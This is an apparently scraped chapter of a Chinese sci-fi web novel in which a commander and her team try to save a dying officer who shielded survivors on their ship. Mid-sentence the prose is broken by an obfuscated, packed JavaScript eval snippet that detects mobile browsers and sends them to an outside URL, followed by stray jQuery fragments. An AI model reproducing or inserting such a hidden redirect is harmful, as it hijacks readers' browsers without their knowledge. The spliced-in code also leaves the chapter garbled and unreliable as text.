四人一步步向着舰船的核心区域推进。
这艘大型舰船设计最初,纪暖便让人在舰船最内部的位置设置了一处紧急避难所,就是为了防止今天这种情况发生。
元良紧了紧手中的枪,眼睛不断扫视着四周,害怕下一秒面前会出现自己不想看到的画面。
他们来到了厚重的防护门前。
这道门设有最顶尖的防护技术,并没有那么容易破坏。
但周围的墙壁却有明显的灼烧痕迹,门锁系统似乎也被破坏了。
这一路上没有碰到任何敌人,要么是他们攻入了最里面,要么是他们已经撤离了。
但看着目前的情况,这群人并没能攻破最里面那层防护。
“就在这里。”季时风伸手感受着防护门上的波动,“这里有一层精神屏障,力量不弱,难怪那群人没能成功突破。”
恐怕那些人根本没察觉这里面藏着整个舰船的人员,只是看着这里防护等级高,所以才尝试破门,否则怎么会这么轻易就放弃?
他仔细感受着,突然面色一变:“精神力屏障的能量正在削弱,却很执着,不断拉扯……像是用尽全力的感觉……”
纪暖的心猛地一缩。
她快步收枪上前,尝试着打开门锁。
她拥有着整个舰船的最高权限,好在门锁的系统还完好无损,摄像头勉强能够运转。
在确认面前人身份之后,基地的系统准许了纪暖的进入。
几人跟在纪暖身后推门而入。
元良看着门内的景象呼吸一紧,瞳孔地震。
那是一片相对宽敞的避难区域,但此时却宛如地狱一般。
地上横七竖八地倒着不少人,大多是普通的后勤、技术或文职人员。
他们身上没有明显的致命伤,但脸色苍白,显然是在极短时间内遭受了某种精神力攻击。
而在避难所的最深处,一面相对完好的墙角处,那里的景象更是让四人瞬间目眦欲裂。
元良立刻冲了过去,他感觉自己的心脏被狠狠攥紧,呼吸几近停滞。
那个一路陪他走来的Beta,如今奄奄一息地倒在血泊中,他的胸膛正缓慢地向外冒着鲜血,作战服被浸透,变成了暗红色。
重忠眼睫微阖,听到门口的响动时眼睫不自主地轻颤了两下,却根本无力抬起眼睛。
那样一个平时总是沉默寡言的青年,总是习惯性跟在所有人身后憨憨笑着的大块头,如今躺在墙角,快要死去。
一道前后贯穿的伤口,赫然出现在他左胸心脏稍偏上的位置。
鲜血早已将他的前胸和背后的墙壁染红了一大片,此刻仍在缓缓渗出。
年轻的属下跪在重忠身边,手里紧紧攥着一根空针管,里面的药剂早已注入了重忠体内。
那是纪暖从卞心那里搜刮来的道具,重忠将所有道具下发,本没打算给自己留的,属下担心发生意外,偷偷藏了一根,没想到真的派上用场了。
属下的脸上混杂着泪水和血污,他看到纪暖等人闯入,眼中瞬间爆发出绝处逢生的光芒,嘶哑地喊道:“指挥官、指挥官!求您救救长官,他快不行了——”
他的话还没说完,元良便冲到了重忠身边,扯开他身上的作战服开始检查伤口。
重忠似乎感受到了动静,极其艰难地抬起了沉重的眼皮。
尝试了一次,失败。
再尝试着抬眼,又失败。
……
也不知多少次后,身上的衣服都被元良扒得差不多了,他才挣扎着睁开双眼,涣散的目光费力地聚焦,落在元良的手上。
他的嘴唇动了动,似乎想说什么,却只能发出微弱的气音,鲜血又从嘴角涌出。
“都怪我……都怪我……”元良的嘴唇轻颤着,说出的话不成句子,“一直驻守的人本来应该是我才对……躺在这里的人本来该是我……”
重忠的指尖微微移动,却根本无力抬起,泛白的指节只能做着小幅度的移动。
他的嘴唇毫无血色,嘴唇轻轻蠕动着,好似在呢喃着什么。
“医疗舱呢?!”纪暖的目光扫向周围还能动弹的人,他们各个如丧考妣,仿佛重忠真的已经死了一样,“人还活着呢!想办法救人啊!”
属下哽咽着摇头:“医疗舱……都被毁了……”
那些人做事根本不留情,他们把所有能砸得全砸了,能带走的统统搜□□净,没想过给他们留下活路。
如果不是重忠坚持张开精神屏障护住他们,恐怕他们这些仅剩的幸存者也会死在入侵者的枪下。
纪暖捏紧拳头,可她偏偏毫无办法。
那一针治疗药剂虽然勉强吊住了重忠的性命,但想要让他恢复如初根本还不够,他还需要更多的治疗。
如果系统还在她的身上,现在她恐怕会掏出十几种治疗物品给重忠用上,但没有,系统和她早就站在了对立面。
难道就这样看着重忠死去吗?
她不允许!
纪暖扔下激光枪,三步并作两步冲到了重忠面前,撕扯着自己身上的作战服,左边的袖子连带着腰腹处的布料都被她拽了下来。
她将布料团成一团,用力地塞进重忠胸口处的血洞。
壮汉疼得浑身颤抖,喉咙间抑制不住地发出低低的呻吟,额头上的冷汗立时冒出了一大片,可偏偏身上一点力气都没有,连推开纪暖都做不到。
“不准死!”纪暖厉声喝道,“你父母还在等着你,你才刚刚把他们接到晴空社享福,难道你想看到他们对着你的牌位哭泣吗?你想让他们以后的日子都活在眼泪里吗?”
“重忠!给我活下去!”
纪暖感受着他胸腔内心脏的跳动,正随着她的话一点点鼓动起来。
那是他对于生的本能渴望在支撑着他活下去。
元良配合着纪暖的动作,用力地将布料压迫在他的伤口上。
既然没有道具,那就用最原始的方法救命。
“重忠,我们回来了,这里安全了,撤掉精神力屏障吧。”元良在他耳边低低说着,声音哽咽得不成样子。
直到现在,哪怕意识不清,重忠也依旧支着屏障。
那是他想要保护所有人的潜意识在支撑着他——在纪暖小队回来之前,保护所有人是他的责任。
听到元良的话,重忠才
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291547|165251||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
终于撤去了屏障,他的意识里自己的队友平安归来,他终于可以松一口气了。
可偏偏是这一口气,却让纪暖的心脏差点漏了半拍,因为重忠的心跳又变得衰弱起来。
纪暖冷静下令:“陈瑶!带着剩下所有还能行动的人,去搬医疗舱!就算是坏了,修也要给我修好!”
“收到!”
都不用陈瑶点人,所有还能活动的人一骨碌从地上爬了起来,自发地冲在最前方为她带路。
如果不是重忠,恐怕入侵者早就发现他们了,他们早该是一具冰冷的尸体了。
现在该轮到他们去救重忠长官了。
“元良,”纪暖一手按着伤口,一边抬头看向面前鼻涕眼泪横流的Omega,“冷静下来,现在去联系白云,让她以最快的速度过来救人。”
元良盯着重忠,却迟迟不敢放手。
一双手接替他按住了缓慢冒血的血洞,一道温润但坚定的声音在他耳边响起。
“放心,我好歹也是个活人,交给我吧。”
元良对上季时风的目光,看着对方的笑容,重重点了下头。
与此同时,第一批去寻找医疗物资的人赶了回来,他们没能立刻修好医疗舱,但他们带回了为数不多的医疗设备。
“指挥官,我找到了一个输液器,还好这个藏得深,那些人没看到……”
“指挥官!我找到了抽血的针管!”
“指挥官,生理盐水需要吗?”
“……”
越来越多的医疗物资收拢了过来,纪暖的存在让刚才那个气氛低迷的群体立时凝聚了起来,他们都在用着自己全部的力量拯救着重忠。
“有没有懂医疗的?”纪暖问道,“重忠需要输血!”
“……我学过一点。”
地上传来一声虚弱的应答声,一名青年从地上缓慢地爬起来,他的额角还在留着鲜血,面颊上糊了一团血污,看上去极为恐怖。
他胡乱擦了一把自己脸上的血:“我懂,我伤的不重,重忠长官现在更需要我。”
纪暖神色复杂,点了点头:“好,你来。”
她看向元良:“他是什么血型?”
元良毫不犹豫地撩开自己的袖子:“和我一样,B型,我可以输给他!”
“不可以。”季时风打断,“你的血液中可能夹杂着信息素,必须是Beta的血才行。”
元良瞪大了眼睛,无力地看着季时风。
是啊,他怎么忘了,自己是一名Omega。
“我也是B型!”
又有一人从地上爬了起来,他撩开自己的手臂,暴露出自己遍布伤痕的手臂——那是在一片混乱中不小心割伤的,还没来得及处理。
“我也是,抽我的血。”
“还有我!”
“不够了就抽我的!”
不断有人从地上爬起来高举双手,那样视死如归的架势,仿佛将他们的血抽干净了也没有一句怨言。
第一个站起来的Beta羞涩的笑了笑,他将自己的手臂送到纪暖面前:“是重忠长官救了我们,只要能救长官的命,让我们做什么都行!”